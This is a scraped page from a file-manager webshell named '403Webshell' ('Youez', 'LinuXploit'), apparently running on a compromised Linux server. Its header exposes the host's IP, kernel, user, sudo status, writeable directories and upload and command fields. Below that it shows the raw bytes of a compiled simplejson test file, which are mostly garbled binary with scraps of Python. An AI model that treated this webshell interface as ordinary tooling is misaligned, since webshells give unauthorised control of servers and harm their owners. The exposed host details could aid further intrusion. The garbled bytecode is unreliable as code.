403Webshell
Server IP : 54.37.205.81  /  Your IP : 216.73.216.76
Web Server : nginx/1.22.1
System : Linux vps-249481fa 6.1.0-50-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.176-1 (2026-07-02) x86_64
User : debian ( 1000)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/simplejson/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/simplejson/tests/__pycache__/test_decode.cpython-311.pyc
�

$��c����ddlmZddlZddlmZddlZddlmZm	Z	m
Z
ddlmZGd�de
��ZGd�d	e��Z
dS)
�)�absolute_importN)�TestCase)�StringIO�b�binary_type)�OrderedDictc�"�eZdZdd�Zd�Zd�ZdS)�MisbehavingBytesSubtypeNc��dS)Nz
bad decode�)�self�encodings  �>/usr/lib/python3/dist-packages/simplejson/tests/test_decode.py�decodezMisbehavingBytesSubtype.decode
s���|�c��dS)Nzbad __str__r�r
s r�__str__zMisbehavingBytesSubtype.__str__s���}rc� �td��S)Nz
bad __bytes__)rrs r�	__bytes__z!MisbehavingBytesSubtype.__bytes__s����!�!�!r�N)�__name__�
__module__�__qualname__rrrrrrr
r
	sF�������������"�"�"�"�"rr
c�t�eZdZeed��sd�Zd�Zd�Zd�Zd�Z	d�Z
d�Zd	�Zd
�Z
d�Zd�Zd
�Zd�ZdS)�
TestDecode�assertIsc�@�|�||u|�d|����dS)Nz is )�
assertTrue)r
�ars   rrzTestDecode.assertIss+���O�O�A��F�!�!�!�Q�Q�$7�8�8�8�8�8rc���tjdtj���}|�t|tj����|�|tjd����dS)Nz1.1)�parse_float)�json�loads�decimal�Decimalr�
isinstance�assertEqual�r
�rvals  r�test_decimalzTestDecode.test_decimals\���z�%�W�_�=�=�=�����
�4���9�9�:�:�:�����w��u�5�5�6�6�6�6�6rc��tjdt���}|�t	|t����|�|d��dS)N�1)�	parse_intg�?)r#r$�floatrr'r(r)s  r�
test_floatzTestDecode.test_floatsN���z�#��/�/�/�����
�4��/�/�0�0�0�����s�#�#�#�#�#rc�`�tjd��}|�|ddd���dS)Nz,{   "key"    :    "value"    ,  "k":"v"    }�value�v)�key�k)r#r$r(r)s  r�test_decoder_optimizationsz%TestDecode.test_decoder_optimizations s8���z�H�I�I������g�3�7�7�8�8�8�8�8rc�P�d}|�tj|��t|����d}|�tj|��t|����d}|�tj|��t|����dS)Nz{}z[]�"")r(r#r$�eval�r
�ss  r�test_empty_objectszTestDecode.test_empty_objects's����������A����Q���0�0�0��������A����Q���0�0�0��������A����Q���0�0�0�0�0rc��d}gd�}|�tj|��t|����|�tj|d����|��|�tjt|��d����|��tj|t���}|�|t
|����|�t|��t��|�tj|td����t
|����dS)Nz?{"xkd":1, "kcw":2, "art":3, "hxm":4, "qrt":5, "pad":6, "hoy":7}))�xkd�)�kcw�)�art�)�hxm�)�qrt�)�pad�)�hoy�c��|Srr��xs r�<lambda>z3TestDecode.test_object_pairs_hook.<locals>.<lambda>4s��1�r��object_pairs_hookc��|SrrrMs rrOz3TestDecode.test_object_pairs_hook.<locals>.<lambda>6s��q�rc��dSrrrMs rrOz3TestDecode.test_object_pairs_hook.<locals>.<lambda>=s��$�r)rQ�object_hook)r(r#r$r9�loadrr�type)r
r;�p�ods    r�test_object_pairs_hookz!TestDecode.test_object_pairs_hook/s=��M��
1�
1�
1�������A����Q���0�0�0������A���E�E�E�q�I�I�I������8�A�;�;�5@�[�B�B�B�CD�	F�	F�	F�
�Z��[�
9�
9�
9������[��^�^�,�,�,�����b���;�/�/�/������A�6A�0>��@�@�@�%�Q���	)�	)�	)�	)�	)rc���||��}t|d��t|d��c\}}\}}|�||��|�||��dS)Nrr?)�sortedr)r
�sourcer$r*r r�c�ds        r�check_keys_reusezTestDecode.check_keys_reuse@sd���u�V�}�}����Q����&��a��/�/����A���A��
�
�a������
�
�a������rc�p�d�d��}|�|tj��dS)N�2[{"a_key": 1, "b_é": 2}, {"a_key": 3, "b_é": 4}]�utf8)�encoder_r#r$r:s  r�test_keys_reuse_strzTestDecode.test_keys_reuse_strFs3��E�L�L�V�T�T�����a���,�,�,�,�,rc�J�d}|�|tj��dS)Nra)r_r#r$r:s  r�test_keys_reuse_unicodez"TestDecode.test_keys_reuse_unicodeJs%��E�����a���,�,�,�,�,rc�J�|�tjd��d��|�tjd��d��|�tjd��dg��|�tjd��dg��dS)Nr8�z[""])r(r#r$rs r�test_empty_stringszTestDecode.test_empty_stringsNs��������D�)�)�2�.�.�.������E�*�*�C�0�0�0������F�+�+�b�T�2�2�2������G�,�,�s�e�4�4�4�4�4rc�t�tjj}|�diidf|���d����|�diidf|t
����d����|�diidf|���d����dS)Nr �	z	{"a": {}}rP�z 
{"a": {}})r#�decoder�JSONDecoderr(�
raw_decode�dict)r
�clss  r�test_raw_decodezTestDecode.test_raw_decodeTs����l�&������2�Y��N��C�E�E���]�+�+�	-�	-�	-�	
����2�Y��N��C�$�'�'�'�2�2�=�A�A�	C�	C�	C�	
����2�Y��O��C�E�E���-�.�.�	0�	0�	0�	0�	0rc���tjj}td��}|�|���|��d��|�|d����|��d��|�|d����|��d��t
td����}|�|���|��d��|�|d����|��d��|�|d����|��d��dS)Nu"€"u€�latin1)ru€)r#rmrnrr(rr
)r
rq�datas   r�test_bytes_decodezTestDecode.test_bytes_decodebsJ���l�&���!�"�"�����������d�+�+�Y�7�7�7������h�/�/�/�6�6�t�<�<�o�N�N�N������d�+�+�+�2�2�4�8�8�)�D�D�D�&�q�)9�':�':�;�;�����������d�+�+�Y�7�7�7������h�/�/�/�6�6�t�<�<�o�N�N�N������d�+�+�+�2�2�4�8�8�)�D�D�D�D�Drc���tj���}dD]F}|�t|jd|��|�t|jd|���Gtddgt���\}}t|��t|��z
}|�t|j||��|�t|j||��dS)N)	rErGrI���������������i�����1234�	128931233�	472389423)r4)	r#rmrn�assertRaises�
ValueError�	scan_onceror[�id)r
�j�irN�y�diffs      r�test_bounds_checkingzTestDecode.test_bounds_checkingns����L�$�$�&�&��2�	C�	C�A����j�!�+�v�q�A�A�A����j�!�,���B�B�B�B��{�K�0�b�9�9�9���1��!�u�u�r�!�u�u�}�����*�a�k�1�d�;�;�;����*�a�l�A�q�9�9�9�9�9rN)rrr�hasattrrrr+r0r6r<rYr_rdrfrirrrvr�rrrrrs��������7�8�Z�(�(�9�	9�	9�	9�7�7�7�
$�$�$�
9�9�9�1�1�1�)�)�)�"���-�-�-�-�-�-�5�5�5�0�0�0�
E�
E�
E�	:�	:�	:�	:�	:rr)�
__future__rr%�unittestr�
simplejsonr#�simplejson.compatrrrrr
rrrr�<module>r�s���&�&�&�&�&�&���������������6�6�6�6�6�6�6�6�6�6�"�"�"�"�"�"�"�"�"�"�"�k�"�"�"�f:�f:�f:�f:�f:��f:�f:�f:�f:�f:r

Youez - 2016 - github.com/yon3zu
LinuXploit